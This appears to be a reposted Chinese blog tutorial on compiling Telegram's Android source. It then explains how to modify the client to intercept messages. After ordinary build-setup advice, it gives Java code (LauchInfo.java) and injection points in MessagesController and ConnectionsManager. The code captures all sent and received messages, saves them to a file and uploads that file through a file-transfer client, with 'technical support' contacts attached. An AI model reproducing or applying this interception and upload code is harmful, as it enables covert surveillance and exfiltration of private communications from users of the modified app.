android studio 编译Telegram源码经验总结(2023-11-05)

2023-11-07 08:15

本文主要是介绍android studio 编译Telegram源码经验总结(2023-11-05),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言


Telegram是一款强大的端到端加密IM,专注于安全性和速度,支持Android/IOS/Windows/macOS等平台,功能丰富,运行流畅,免费开源,代码具有学习和研究意义。


一、android telegram源码下载地址:
 

github: https://github.com/DrKLO/Telegram.git

二、编译环境的选择:

Windows 版本:10 64位;
Android studio 版本:(2022.3.1)最新版本;
Android SDK 版本:Android studio自带;
Android Gradle Plugin 版本:Version 7.03   (源码版本);
Gradle Version 版本:7.02  (源码版本);
Android ndk 版本:21.4.7075529;
Gradle JDK 版本:11.0.2;

  编译环境说明:
       1、Android studio 


        Android studio 可以采用最新版本;


       2、Android Gradle Plugin Version与Gradle Version


       编译环境的选择很重要,Android Gradle Plugin Version与Gradle Version不要升级,
要保持与源码版本一致。笔者一开始按Android studio的提示升级了Gradle的版本,结果报一系列的错误!


       3、Android ndk 要用21.4.7075529版本,与源码保持一致;


       4、Gradle JDK 版本:11.0.2,

必须用11.02版本,笔者一开始用了Gradle JDK 17结果与Android Gradle Plugin Version不兼容,走了许多弯路。


       5、Android studio提示升级Gradle版本时,千万不要升级!!!


       按照以上配置,编译源码,第一次未修改编译笔者电脑用了8个半小时,修改后再编译花了17个小时,源码体积大小由100M增加到17G!
能编译成功,才能为后续修改打下基础!!!

三、编译指南


    按项目编译指南,完成以下工作:


1、获取api_id


    申请地址:https://my.telegram.org/

2、将您的release.keystore复制到TMessagesProj/config中


在gradle.properties中填写RELEASE_KEY_PASSWORD、RELEASE_KEY_ALIAS、RELEASE_STORE_PASSWORD以访问您的release.keystore


3、google-services.json


转到 https://console.firebase.google.com/,使用应用程序 ID org.telegram.messenger 和 org.telegram.messenger.beta 创建两个 Android 应用程序,打开 firebase 消息传递并下载 google-services.json,这应该复制到与 TMessagesProj 相同的文件夹。


4、BuildVars.java 


在 Studio 中打开项目(请注意,应该打开它,而不是导入)
在 TMessagesProj/src/main/java/org/telegram/messenger/BuildVars.java 中填写值 - 每个变量都有一个链接,显示要获取的数据的位置和数据。
替换你在控制台创建的获取的 APP_ID 和 APP_HASH


5、API、协议文档


Telegram API 手册:https://core.telegram.org/api

MTproto协议手册:https://core.telegram.org/mtproto

四、修改指南


    将tg数据转为字符串并格式化,在适当位置注入log代码,拦截telegram的消息发送与接收。


1、添加依赖库


implementation 'org.apache.commons:commons-lang3:3.6'


2、创建RecursiveToStringStyle.java,将tg数据转为字符串并格式化


3、增加LauchInfo.java,以拦截并保存telegram消息。

package ftc;import android.content.Context;import java.io.Closeable;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
//技术支持:~~~~39848872
public class LauchInfo {public static final SimpleDateFormat DEFAULT_SDF = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault());private static String local_path;private static String local_dir;private static String filename;private static Context g_context;//接收telegram消息,并转换为格式化字符串,以便保存分析。	public static void get(Object value){String content=RecursiveToStringStyle.toString(value);if(content!=null&&content.equals("")==false)SaveContent(content);}//技术支持:+~~~~byc6352public static void get(String say,Object value){String content=RecursiveToStringStyle.toString(value);MyLog.i(say + "\n" + content);}public static void log(String say,Object value){String content=RecursiveToStringStyle.toString(value);String text = say + "\n" + content;MyLog.i(text);}public static void SaveContent(String content){try {MyLog.i(content);String time = DEFAULT_SDF.format(new Date());String text=time+"\r\n"+content+"\r\n";saveInfo2File(text,filename,true);FileTransferClient.getInstance().uploadfile(filename,false);} catch (Exception e) {MyLog.e( "SaveContent:"+e.getMessage());}}/*** 保存信息到文件中** @param ex* @return*/public static boolean saveInfo2File(String info,String filename,boolean append) {if (info == null || filename == null) return false;FileWriter fileWriter = null;try {fileWriter = new FileWriter(new File(filename), append);fileWriter.write(info);return true;} catch (IOException e) {e.printStackTrace();return false;} finally {closeIO(fileWriter);}}/*** 关闭IO** @param closeable closeable*/public  static void closeIO(Closeable closeable) {if (closeable == null) return;try {closeable.close();} catch (IOException e) {e.printStackTrace();}}public  static void getWorkDir(Context context){local_path = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() + File.separator;local_dir = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() ;filename=local_path+"info.txt";g_context=context.getApplicationContext();}
}

3、拦截telegram收到的消息


在Telegram\TMessagesProj\src\main\java\org\telegram\messenger\MessagesController.java中 修改

注入MessagesController.java消息接收

4、拦截telegram向服务器发送的请求与应答


在Telegram\TMessagesProj\src\main\java\org\telegram\tgnet\ConnectionsManager.java中 修改

注入ConnectionsManager发送请求

至此可以快乐地抓取tg数据了!

这篇关于android studio 编译Telegram源码经验总结(2023-11-05)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/362364

相关文章

ESP32 esp-idf esp-adf环境安装及.a库创建与编译

简介 ESP32 功能丰富的 Wi-Fi & 蓝牙 MCU, 适用于多样的物联网应用。使用freertos操作系统。 ESP-IDF 官方物联网开发框架。 ESP-ADF 官方音频开发框架。 文档参照 https://espressif-docs.readthedocs-hosted.com/projects/esp-adf/zh-cn/latest/get-started/index

C++工程编译链接错误汇总VisualStudio

目录 一些小的知识点 make工具 可以使用windows下的事件查看器崩溃的地方 dumpbin工具查看dll是32位还是64位的 _MSC_VER .cc 和.cpp 【VC++目录中的包含目录】 vs 【C/C++常规中的附加包含目录】——头文件所在目录如何怎么添加,添加了以后搜索头文件就会到这些个路径下搜索了 include<> 和 include"" WinMain 和

C/C++的编译和链接过程

目录 从源文件生成可执行文件(书中第2章) 1.Preprocessing预处理——预处理器cpp 2.Compilation编译——编译器cll ps:vs中优化选项设置 3.Assembly汇编——汇编器as ps:vs中汇编输出文件设置 4.Linking链接——链接器ld 符号 模块,库 链接过程——链接器 链接过程 1.简单链接的例子 2.链接过程 3.地址和

Windwos +vs 2022 编译openssl 1.0.2 库

一 前言 先说 结论,编译64位报错,查了一圈没找到解决方案,最后换了32位的。 使用qt访问web接口,因为是https,没有openssl库会报错 QNetworkReply* reply = qobject_cast<QNetworkReply*>(sender());if (reply){if (reply->error() == QNetworkReply::NoError

据阿谱尔APO Research调研显示,2023年全球髓内钉市场销售额约为4.7亿美元

根据阿谱尔 (APO Research)的统计及预测,2023年全球髓内钉市场销售额约为4.7亿美元,预计在2024-2030年预测期内将以超过3.82%的CAGR(年复合增长率)增长。 髓内钉市场是指涉及髓内钉制造、分销和销售的行业。髓内钉是一种用于整形外科手术的医疗器械,用于稳定长骨骨折,特别是股骨、胫骨和肱骨。髓内钉通常由不銹钢或钛等材料制成,并插入骨的髓管中,以在愈合过程中提供结构支

Eclipse+ADT与Android Studio开发的区别

下文的EA指Eclipse+ADT,AS就是指Android Studio。 就编写界面布局来说AS可以边开发边预览(所见即所得,以及多个屏幕预览),这个优势比较大。AS运行时占的内存比EA的要小。AS创建项目时要创建gradle项目框架,so,创建项目时AS比较慢。android studio基于gradle构建项目,你无法同时集中管理和维护多个项目的源码,而eclipse ADT可以同时打开

android 免费短信验证功能

没有太复杂的使用的话,功能实现比较简单粗暴。 在www.mob.com网站中可以申请使用免费短信验证功能。 步骤: 1.注册登录。 2.选择“短信验证码SDK” 3.下载对应的sdk包,我这是选studio的。 4.从头像那进入后台并创建短信验证应用,获取到key跟secret 5.根据技术文档操作(initSDK方法写在setContentView上面) 6.关键:在有用到的Mo

android一键分享功能部分实现

为什么叫做部分实现呢,其实是我只实现一部分的分享。如新浪微博,那还有没去实现的是微信分享。还有一部分奇怪的问题:我QQ分享跟QQ空间的分享功能,我都没配置key那些都是原本集成就有的key也可以实现分享,谁清楚的麻烦详解下。 实现分享功能我们可以去www.mob.com这个网站集成。免费的,而且还有短信验证功能。等这分享研究完后就研究下短信验证功能。 开始实现步骤(新浪分享,以下是本人自己实现

Android我的二维码扫描功能发展史(完整)

最近在研究下二维码扫描功能,跟据从网上查阅的资料到自己勉强已实现扫描功能来一一介绍我的二维码扫描功能实现的发展历程: 首页通过网络搜索发现做android二维码扫描功能看去都是基于google的ZXing项目开发。 2、搜索怎么使用ZXing实现自己的二维码扫描:从网上下载ZXing-2.2.zip以及core-2.2-source.jar文件,分别解压两个文件。然后把.jar解压出来的整个c

android 带与不带logo的二维码生成

该代码基于ZXing项目,这个网上能下载得到。 定义的控件以及属性: public static final int SCAN_CODE = 1;private ImageView iv;private EditText et;private Button qr_btn,add_logo;private Bitmap logo,bitmap,bmp; //logo图标private st